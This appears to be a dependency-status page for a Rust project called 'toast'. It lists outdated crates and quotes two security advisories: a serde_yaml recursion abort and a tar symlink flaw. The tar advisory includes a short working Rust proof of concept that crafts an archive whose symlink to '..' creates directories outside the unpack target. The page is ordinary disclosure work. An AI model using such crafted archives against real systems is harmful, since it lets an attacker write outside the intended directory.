Affected versions of this crate did not properly check for recursion while deserializing aliases.
This allows an attacker to make a YAML file with an alias referring to itself causing an abort.
The flaw was corrected by checking the recursion depth.
This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.
toast(19 total, 10 outdated, 2 possibly insecure)
| Crate | Required | Latest | Status |
|---|---|---|---|
| atty | ^0.2 | 0.2.14 | up to date |
| clap | ^2 | 4.5.51 | out of date |
| colored | ^1 | 3.0.0 | out of date |
| crossbeam | ^0.7 | 0.8.4 | out of date |
| ctrlc | ^3 | 3.5.1 | up to date |
| dirs | ^1 | 6.0.0 | out of date |
| env_logger | ^0.6 | 0.11.8 | out of date |
| hex | ^0.3 | 0.4.3 | out of date |
| indicatif | ^0.11 | 0.18.2 | out of date |
| lazy_static | ^1.3 | 1.5.0 | up to date |
| log | ^0.4 | 0.4.28 | up to date |
| scopeguard | ^1 | 1.2.0 | up to date |
| serde | ^1 | 1.0.228 | up to date |
| serde_yaml ⚠️ | ^0.8 | 0.9.34+deprecated | out of date |
| sha2 | ^0.8 | 0.10.9 | out of date |
| tar ⚠️ | ^0.4 | 0.4.44 | maybe insecure |
| tempfile | ^3 | 3.23.0 | up to date |
| uuid | ^0.7 | 1.18.1 | out of date |
| walkdir | ^2 | 2.5.0 | up to date |
serde_yaml: Uncontrolled recursion leads to abort in deserializationAffected versions of this crate did not properly check for recursion while deserializing aliases.
This allows an attacker to make a YAML file with an alias referring to itself causing an abort.
The flaw was corrected by checking the recursion depth.
tar: Links in archive can create arbitrary directoriesWhen unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering
and reporting this, and Nikhil Benesch (@benesch) for the fix!